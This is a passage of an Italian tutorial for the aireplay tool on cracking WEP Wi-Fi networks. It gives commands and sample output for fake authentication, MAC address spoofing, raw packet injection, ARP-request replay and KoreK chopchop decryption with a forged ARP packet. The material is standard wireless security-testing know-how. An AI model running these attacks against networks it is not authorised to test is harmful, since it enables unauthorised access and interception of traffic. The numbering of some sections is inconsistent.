Questo attacco serve solo quando hai bisogno di un MAC address associato per gli attacchi 2, 3, 4 (opzione -h) e in questo momento non ci sono altri client associati. In genere è meglio usare il MAC address di un client vero (in questo caso, 00:09:5B:EB:C5:2B) negli attacchi 2, 3 e 4. L'attacco con falsa autenticazione NON genera ARP requests.

Inoltre, gli attacchi successivi funzioneranno meglio se modifichi il MAC address della scheda, cosi che spedisca ACKs correttamente:

ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up

aireplay -1 0 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
12:14:06 Sending Authentication Request
12:14:06 Authentication successful
12:14:06 Sending Association Request
12:14:07 Association successful :-)
Con la versione patchata madwifi CVS 2005-08-14, è possibile iniettare pacchetti in Managed mode (la chiave WEP in sè non c'entra, fintanto che l' AP accetta autenticazioni Open-System). Quindi, invece di eseguire l'attacco 1, puoi semplicemente associare e  iniettare / monitorare attraverso l'interfaccia athXraw:
ifconfig ath0 down hw ether 00:11:22:33:44:55
iwconfig ath0 mode Managed essid 'the ssid' key AAAAAAAAAA
ifconfig ath0 up

sysctl -w dev.ath0.rawdev=1
ifconfig ath0raw up
airodump ath0raw out 6
Poi devi eseguire gli attacchi 3 o 4 (aireplay sostituirà automaticamente ath0 con ath0raw qui sotto):

aireplay -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0
aireplay -4 -h 00:10:20:30:40:50 -f 1 ath0
Alcuni access points richiedono di riassociarsi ogni 30 secondi, altrimenti il nostro falso client è considerato disconnesso. In questo caso, imposta l'intervallo di riassociazione automatica:

aireplay -1 30 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Se questo attacco sembra fallire (aireplay continua a spedire richieste di autenticazione), può essere in uso il MAC address filtering. Verifica anche che:

Sei abbastanza vicino all' access point.
Il driver ha la patch ed è correttamente installato.
La scheda è configurata sullo stesso canale dell' AP.
Il BSSID e l' ESSID (opzioni -a / -e) sono corretti.
Se usi Prism2, assicurati che il firmware sia aggiornato.
Ricordati che: non puoi iniettare con chipset Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell o Broadcom causa limiti del firmware o del driver.

Attacco 3: replay interattivo dei pacchetti
Questo attacco permette di scegliere un pacchetto specifico per il replay; a volte da risultati migliori dell'attacco 3 (ARP reinjection automatica).

Puoi usarlo, ad esempio, per provare l'attacco "any data re-broadcast", che funziona solo se l'AP ricifra i pacchetti dati WEP:

aireplay -2 -b 00:13:10:30:24:9C -n 100 -p 0841 \
 -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0
Puoi anche usare l'attacco 2 to per fare il replay manuale delle ARP reques cifrate con WEP, la cui dimensione è di 68 o 86 bytes (a seconda del sistema operativo):

aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
 -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0

aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
 -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0
Attacco 3: ARP-request reinjection
Il classico attacco ARP-request replayè il più efficace nel generare nuovi IVs, ed è molto affidabile. Hai solo bisogno del MAC address di un client associato (00:09:5B:EB:C5:2B), o di un MAC falso dall'attacco attacco 1 (00:11:22:33:44:55). Può darsi che tu debba aspettare un paio di minuti, o anche di più, fino a vedere una ARP request; questo attacco non funziona se non c'è traffico.

Nota che puoi anche riutilizzare le ARP requests di una cattura precedente usando il parametro -r.

aireplay -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...
Attacco 4: KoreK's "chopchop" (CRC prediction)
Questo attacco, quando funziona, può decifrare un pacchetto dati WEP senza conoscere la chiave. Può anche funzionare con uno WEP dinamico. Questo attacco non recupera la chiave WEP, ma semplicemente recupera i dati in chiaro. Tuttavia, la maggior parte degli access point non è vulnerabile. Alcuni all'inizio possono sembrare vulnerabilimi ma rifiutano i pacchetti con meno di 60 bytes. Questo attacco richiede almeno un pacchetto dati WEP.

Prima decifriamo un pacchetto :
aireplay -4 -h 00:09:5B:EB:C5:2B ath0
Diamo un'occhiata all'indirizzo IP :
tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
reading from file replay_dec-0627-022301.cap, link-type [...]
IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1
Quindi, creiamo una falsa ARP request.
L' IP sorgente (192.168.1.100) non importa, ma quello di destinazione (192.168.1.2) deve rispondere alle ARP requests. Il MAC sorgente deve essere quello di un client associato.

./arpforge replay_dec-0627-022301.xor 1 00:13:10:30:24:9C \
00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap
E ora facciamo il replay della ARP request falsa:
aireplay -2 -r arp.cap ath0